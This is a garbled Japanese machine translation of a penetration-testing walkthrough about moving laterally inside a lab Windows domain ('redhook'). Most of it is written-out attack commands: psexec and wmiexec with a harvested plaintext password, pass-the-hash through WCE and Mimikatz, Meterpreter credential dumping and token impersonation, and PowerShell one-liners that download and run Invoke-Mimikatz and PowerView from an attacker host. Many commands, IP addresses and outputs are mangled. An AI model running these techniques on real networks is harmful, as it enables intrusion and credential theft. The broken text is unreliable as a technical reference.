0x00シーン
今回は、「redhook.da」ドメインでアカウントの利用可能な資格情報を取得することです。イントラネットホストを制御するための権限から始めますが、ターゲットドメインコントローラーと同じサブネットにはありません。下の図に示すように:
さらに、攻撃者がクライアント1ホストのローカル管理者キャッシュ認証資格情報を取得したと仮定します。一般に、ネットワーク範囲が十分に大きい場合、対応する保存された有効な資格情報は、バッチ、VB、NET、PS1などのスクリプトを介してネットワーク共有にあります。初期アクセスを取得します。この記事では、この攻撃者は、Windowsを横向きに移動する方法と、AVSのバイパスを含まない状況に焦点を当てています。
0x00クライアントホストを攻撃する
1。バッチスクリプトの取得は上記のとおりです。 Clent1(10.0.0.129)ホストのユーザー認証資格情報は、ネットワーク共有のバッチ処理とスクリプトを通じて取得されました。
#\\ fileserver \ users \ bob \ workstations \ errorlog.batのmock contents
@ECHOオフ
ネット使用'\\ 10.0.0.129 \ c $' /user:bob imsosecur3! #Create共有
存在する場合'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'(
Echo 'ため息、クライアントのより多くのエラー1!コピー. '
'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt' c: \ uses \ bob \ logs \ client1 \
del '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'
) それ以外(
echo 'yaay、クライアントに新しいエラーはありません!'
))
正味使用'\\ 10.0.0.129 \ c $' /delete
バッチスクリプトを介して指定されたIPのNetBIOS情報をすばやく取得します。
NBTSCAN -VH 10.0.0.129
または
NBTSTAT -A 10.0.0.129
コマンドnbtstat -a ipを使用して同じ操作を実行することもできます。ホスト名win7-ent-cli1を取得することができ、それはredhookドメインに接続されています
2.PsexecはMetasploitのPSEXECを使用します。これにより、Kaliのクライアント1ホストのリバウンドシェルを簡単に取得できます。ボブはドメインアカウントではなくローカルアカウントであることに注意してください。したがって、SMBDomainパラメーターは使用されません。
msfuse exploit/winodws/smb/psexec
MSFSET RHOST 10.0.0.129
MSFSET SMBUSER BOB
msfset smbpass imsosecur3!
msfshowオプション
msfexploit
ここでは、RemComSVCを使用してPSEXECをシミュレートするImpacketパッケージのPsexecを使用することもできます。ここでの利点は、明確な卒業証書が得られない場合、ハッシュパスを受け入れることができることです。
python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd
Windowsの下のpsexec.exeも水平方向に移動することができ、実行可能ファイルに署名する利点があります。このコマンドに「-s」識別子を追加すると、システムシェルが取得されます。
psexec.exe \\ 10.0.0.129 -u bob -p imsosecur3! CMD
3.WMIは、リモートコマンドツールの実行に関するものです。ここで最も有名なのはWMICツールです。リモートホストでのコマンド実行を可能にするだけでなく、WMIを使用して機密情報を取得し、ホストシステムを再構成します。このツールは、Windowsのコマンドが組み込まれています。
wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystemリストブリーフ /FORMAT:LIST #REMOTELY COMPUTER情報を取得します
wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystem usernameを取得#REMOTELYターゲットユーザーアカウント情報許可を取得します
wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3!プロセスコールクレート 'calc.exe' #remote作成プロセス、ここにcalc.exeがあります
wmic /node:10.0.0.129 /user:bob /password:imsososecur3! ComputerSystem Process Name、ProcessID |を取得します検索#REMOTELYプロセスID、名前、およびプロセスを実行する
}
4.wmiexecは、インパケットパッケージでWMIEXECツールを使用し、コマンドを実行してコマンド出力を印刷することができます。また、半互換シェルを提供したり、ハッシュを通したりすることができます。
python wmiexec.py bob:imsososecur3!@10.0.0.129ルートプリント-4 10.*
PowersploitzのInvoke-Wmicommandは、PscRedentialオブジェクトの使用により、より多くのメモリを占有しますが、コマンドの印刷とスクリプトのメモリストレージの場所を取得できます。
5。Pass-The-Hash(WCEおよびMimikatz)時々、ターゲットホストコマンドウィンドウが取得されると、ターゲットホストユーザーのNTLMハッシュ値は取得でき、プレーンテキストパスワードは取得できません。この場合、MetaSploit(PSEXEC)またはImpackを使用できます。環境がローカルウィンドウ環境に限定されている場合、WCEまたはMimikatzを使用してNTLMハッシュをプロセスに注入できます。
おっと
正味使用\\ 10.0.0.129 \ admin $#ターゲット共有は取得できません。ユーザー名とパスワードはここで必要です
wce.exe -s bob:3360AAD3B435B1404EEAAD3B435B51404E:F6C0FA29F4CAD745AD04BED1D00A7C82 #REMOTE WCE.EXE
正味使用\\ 10.0.0.129 \ admin $
dir \\ 10.0.0.129 \ admin $
欠点は、WCEがエラーアラーム情報を表示することです!PowerShellを使用して、Mimikatzをメモリに直接ロードできます!ただし、この場合、コンパイルされたバイナリファイルmimikatz.exeを使用することをお勧めします。
正味使用\\ 10.0.0.129 \ $ admin
Miminatz.exe
mimikatz#sekurlsa:pth /user:bob /domain: /NTLM:F6C0FA29F4CAD745AD04BED1D00A7C82 #MMIKATモジュールPTH
おっと
正味使用\\ 10.0.0.129 \ $ admin
この場合、フィールドはすべて「。」に設定されていることに注意してください。これは、ボブがローカルアカウントだからです。
0x02拠点01
を確立します1.MetasPloit(MimikatzとHashdump)は、Mimikatzを使用して、アクティブセッションのユーザー資格情報を取得し、Hashdumpを取得して、現在ログインしていないローカルアカウントのハッシュを取得します。
MeterPreterload Mimikatz #load Mimikatzモジュール
MeterPrtertSPKG #Enhanceシステム許可
MeterPrterMSVV#現在アクティブなセッション資格情報を取得します
MeterPrterHashdump#ローカルホストアカウントのすべてのハッシュ値を取得します
2。SecretSdumpとInvoke-Mimikatzは、PowersploitのImpackのSecretSdumpおよびInvoke-Mimikatzにも使用できます。この場合、Invoke-Mimikatzは攻撃者のWebサーバーでホストされています。
python secretsdump.py bob:imsosecur3!@10.0.0.129
python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd
Powershell -exec Bypass -command 'iex(new-Object System.net.webclient).dowloadstring(' http://10.0.0.129/invoke-mimikatz.ps1 '); Invoke-Mimikatz' '
Mimiatz(Powershell)#Sekurlsa:logonpasswords
もちろん、この問題を解決する他の方法はありますが、これらが主なアプローチであると考えています。
0x03情報収集
Redhookドメインのホストにアクセスできるようになりました。これは別のサブネットにも接続されています。
1。トークンの買収。これで、Redhookドメインにマシンがあり、異なるサブネットに接続できます。今、私たちは情報を収集し始めます。
ドメイン情報を照会するには、ドメインユーザーが必要です。現在のBOBユーザーはドメインユーザーまたはシステムの許可ではありませんが、使用できます
ntquerysysteminformation他のユーザーのトークンを発見し、ログインをシミュレートします。
MeterPreterにはこのプラグインがあり、プロセスが非常にシンプルになります。
MeterPrtergetUid
meterpterlist_tokens -u
meterprterimpersonate_token redhook \\ asenath.waite
MeterPrtershell
誰が
また、リモートで使用できるPSEXECのような機能を備えたツールであるLuke JenningsのIncognitoを使用することもできます。
Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! list_tokens -u
Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! -c redhook \ asenath.waite cmd.exeを実行します
最後に、PowerSploitのInvoke-TokenManipulationがあります。ただし、現在の状態では、必要な機能を実際に取得できないため、使用することはお勧めしません。
2。ドメイン情報収集。現在、ターゲットドメインホストのシェルが取得されており、最大の結果を得るには、いくつかの情報収集を実行する必要があります。
c: \ windows \ system32 whoami redhook \ asenath.waite
c: \ windows \ system32 hostnamewin7-ent-cli1
c: \ windows \ system32 ipconfig
Windows IP構成
イーサネットアダプターローカルエリア接続2:
接続固有のDNS接尾辞。 LocalDomain Link-Local IPv6アドレス。 FE80:3360A1BA:A1AB:170C:7916%17 IPv4アドレス。 。 10.0.0.129#攻撃者のサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。
イーサネットアダプターBluetoothネットワークConnection:
メディア状態。 。メディアが接続された接続固有のDNSサフィックス。
イーサネットアダプターローカルエリアConnection:
接続固有のDNS接尾辞。 Link-Local IPv6アドレス。 FE80:33605DDC:1E6336017E9:9E15%11 IPv4アドレス。 。 10.1.1.2#redhookサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。 10.1.1.1
トンネルアダプターISATAP。{8D0466B5-1F88-480C-A42D-49A871635C9A} :
メディア状態。 。メディアが接続された接続固有のDNSサフィックス。
トンネルアダプターiSatap.localdomain:
メディア状態。 。メディアが接続された接続固有のDNSサフィックス。 LocalDomain
トンネルアダプターISATAP。{5CBBE015-1E1C-4926-8025-EBB59E470186} :
メディア状態。 。メディアが接続された接続固有のDNSサフィックス。
#非常に小さなネットワーク、3人のホスト、私たちが妥協したばかりのホストを含む。
-------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2
コマンドは正常に完了しました。
#dcユーザーが認証されているtoc: \ windows \ system32 echo%logonserver%\\ redrum-dc
c: \ windows \ system32 ping -n 1 redrum -dc
ping redrum-dc.redhook.local [10.1.1.200]は、10.1.1.1.1.1.1.1.200:=32 time1ms ttl=128から32バイトのdata:Reply
10.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1:送信=1、受信=1、失われた=0(0%損失)、約100万秒の往復時間3:最小=0ms、最大=0ms、平均=0ms
#ローカルユーザーのリスト\ windows \ system32ネットユーザー
ユーザーは\\ win7-ent-cli1を説明します
-----------------------------------------------------------------------------------管理者Bob guestTemplateAdmin
コマンドは正常に完了しました。
#redhookドメインユーザーをリストします
C: \ Windows \ System32ネットユーザー /ドメイン
リクエストは、domain redhook.localのドメインコントローラーで処理されます。
\\ redrum-dc.redhook.localをユーザーアカウント
---------------------------------------------------------------------------------------------------------------------------------------------------------------- GuestJohn.smith Krbtgt Redhook.Darobert.Suydam Wilbur.Whateley
コマンドは正常に完了しました。
#powersploit=invoke-enumeratelatelocaladmin:ネットワーク内のボックスにあるローカル管理者であるすべてのユーザーを見つけます。
c: \ windows \ system32 powershell -exec bypass -command 'iex(new -object system.net.webclient).downloadstring(' http://10.0.0.0.128/powerview.ps1 '); invoke -enumeratelocaladm
Recommended Comments